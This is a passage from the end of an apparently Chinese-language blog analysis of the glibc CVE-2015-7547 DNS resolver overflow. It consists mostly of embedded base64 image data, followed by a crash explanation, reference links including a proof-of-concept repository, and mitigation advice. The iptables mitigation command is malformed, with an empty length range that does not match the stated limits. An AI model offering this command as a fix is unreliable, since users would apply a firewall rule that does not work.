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" alt="" />
父函数中被污染的指针在之后的代码被取成员访问,最终导致segment fault
Relevant Link:
https://sourceware.org/ml/libc-alpha/2016-02/msg00416.html
https://github.com/fjserna/CVE-2015-7547
http://blog.knownsec.com/2016/02/linux-glibc-cve-2015-7547-analysis/
5. 缓解修复方案
0x1: Code Patch
https://sourceware.org/ml/libc-alpha/2016-02/msg00416.html
0x2: 临时缓解方案
技术人员可以通过将TCP DNS响应的大小限制为1024字节,并丢弃所有超过512字节的UDPDNS数据包来缓解该问题。值得庆幸的是,许多嵌入式Linux设备,例如家庭路由器,更倾向于使用uclibc库,因此可以免受该漏洞的影响
iptables -t filter -A INPUT -p udp -m length --length : -j DROP
Copyright (c) 2015 LittleHann All rights reserved